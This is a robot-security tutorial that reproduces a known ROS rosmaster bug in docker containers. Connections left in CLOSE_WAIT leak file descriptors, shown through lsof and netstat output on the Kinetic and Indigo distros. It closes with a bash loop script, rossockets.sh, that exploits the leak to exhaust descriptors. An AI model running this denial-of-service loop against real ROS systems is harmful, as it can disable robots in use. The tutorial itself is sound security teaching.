\newpage
In this tutorial we'll exploit the vulnerability. First reported in April 2015 at ros/ros_comm#610, the underlying httplib in ros_comm
implements things so that connections are only closed if you are sending the header "connection: close". Although a client might close the connection, the socket remains in the `CLOSE_WAIT state [3, 4].
Note: as in previous tutorials, there's a docker container that facilitates reproducing the work of this tutorial. The container can be built with:
docker build -t basic_cybersecurity13:latest .
and run with:
docker run -it basic_cybersecurity13:latest
Let's start with Kinetic
and attempt to reproduce it as reported at ros/ros_comm#610 (comment):
docker build -f Dockerfile.kinetic -t basic_cybersecurity13:latest . # build the kinetic Dockerfile
docker run -it basic_cybersecurity13:latest
root@4256f9eb9567:~# roscore &
root@4256f9eb9567:~# roslaunch /opt/ros/kinetic/share/roscpp_tutorials/launch/talker_listener.launch
...
^C
root@4256f9eb9567:~# roslaunch /opt/ros/kinetic/share/roscpp_tutorials/launch/talker_listener.launch
...
^C
in another command line:
watch -n0 "lsof | grep rosmaster | grep -c CLOSE_WAIT"
Every 0.1s: lsof | grep rosmaster | grep -c CLOSE_WAIT Fri Nov 2 12:34:36 2018
0
at some point, while re-launching and re-stopping the launchfile, we'll see:
Every 0.1s: lsof | grep rosmaster | grep -c CLOSE_WAIT Fri Nov 2 12:37:29 2018
5
in those cases:
root@5f6d4b210151:/# netstat -aeltnp | grep CLOSE_WAIT
tcp 1 0 172.17.0.2:35586 172.17.0.2:34571 CLOSE_WAIT 0 196101 48/python
tcp 0 0 172.17.0.2:45520 172.17.0.2:11311 CLOSE_WAIT 0 136921 61/rosout
but as soon as root@4256f9eb9567:~# roslaunch /opt/ros/kinetic/share/roscpp_tutorials/launch/talker_listener.launch
is executed again, the number of file descriptors return to 0.
There seems to be a small glitch in Kinetic
distro but the FDs leakeage seems to be contained. No issues with Kinetic distro.
docker build -f Dockerfile.indigo -t basic_cybersecurity13:latest . # build the indigo Dockerfile
docker run -it basic_cybersecurity13:latest
roscore &
roslaunch /opt/ros/indigo/share/roscpp_tutorials/launch/talker_listener.launch
... logging to /root/.ros/log/280ed2ea-de98-11e8-b9b0-0242ac110002/roslaunch-4256f9eb9567-1088.log
Checking log directory for disk usage. This may take awhile.
Press Ctrl-C to interrupt
Done checking log file disk usage. Usage is <1GB.
started roslaunch server http://4256f9eb9567:43961/
SUMMARY
========
PARAMETERS
* /rosdistro: indigo
* /rosversion: 1.11.21
NODES
/
listener (roscpp_tutorials/listener)
talker (roscpp_tutorials/talker)
ROS_MASTER_URI=http://localhost:11311
core service [/rosout] found
process[listener-1]: started with pid [1106]
process[talker-2]: started with pid [1107]
[ INFO] [1541160590.106715200]: hello world 0
[ INFO] [1541160590.207328800]: hello world 1
...
^C
Repeat the following a few times:
roslaunch /opt/ros/indigo/share/roscpp_tutorials/launch/talker_listener.launch
... logging to /root/.ros/log/280ed2ea-de98-11e8-b9b0-0242ac110002/roslaunch-4256f9eb9567-1088.log
Checking log directory for disk usage. This may take awhile.
Press Ctrl-C to interrupt
Done checking log file disk usage. Usage is <1GB.
started roslaunch server http://4256f9eb9567:43961/
SUMMARY
========
PARAMETERS
* /rosdistro: indigo
* /rosversion: 1.11.21
NODES
/
listener (roscpp_tutorials/listener)
talker (roscpp_tutorials/talker)
ROS_MASTER_URI=http://localhost:11311
core service [/rosout] found
process[listener-1]: started with pid [1106]
process[talker-2]: started with pid [1107]
[ INFO] [1541160590.106715200]: hello world 0
[ INFO] [1541160590.207328800]: hello world 1
...
^C
then
root@4256f9eb9567:~# lsof | grep rosmaster | grep -c CLOSE_WAIT
10
or:
root@4256f9eb9567:~# netstat -aeltnp | grep CLOSE_WAIT
tcp 1 0 172.17.0.2:57826 172.17.0.2:34649 CLOSE_WAIT 0 113151 1468/python
tcp 1 0 172.17.0.2:42052 172.17.0.2:37739 CLOSE_WAIT 0 114078 1468/python
tcp 0 0 172.17.0.2:45088 172.17.0.2:11311 CLOSE_WAIT 0 114002 1454/rosout
(note the correlation between the python
Program Names sockets and the amount of file descriptors open (5 times that quantity to be precise)).
There is a FDs leakeage in Indigo
distro.
Same issue applies to Jade
, FDs leakeage.
The simplest way to do so is to put together a script that exploits the flaw and name it rossockets.sh
:
#!/bin/bash
while true; do
roslaunch /opt/ros/indigo/share/roscpp_tutorials/launch/talker_listener.launch & sleep 2; kill -INT %+
done
then:
roscore &
./rossockets.sh > /tmp/dump.txt &
watch -n0 "lsof | grep rosmaster | grep -c CLOSE_WAIT"
you will see how the number of file descriptors will start increasing and reach one thousand in a few minutes.
- [1] Mendia, G. O., Juan, L. U. S., Bascaran, X. P., Calvo, A. B., Cordero, A. H., Ugarte, I. Z., ... & Vilches, V. M. (2018). Robotics CTF (RCTF), a playground for robot hacking. arXiv preprint arXiv:1810.02690.
- [2] Scenarios of the Robotics CTF (RCTF), a playground to challenge robot security. Retrieved from https://github.com/aliasrobotics/RCTF
- [3] rosmaster leaves sockets in CLOSE_WAIT state. Retrieved from ros/ros_comm#610.
- [4] Close CLOSE_WAIT sockets by default. Retrieved from ros/ros_comm#1104.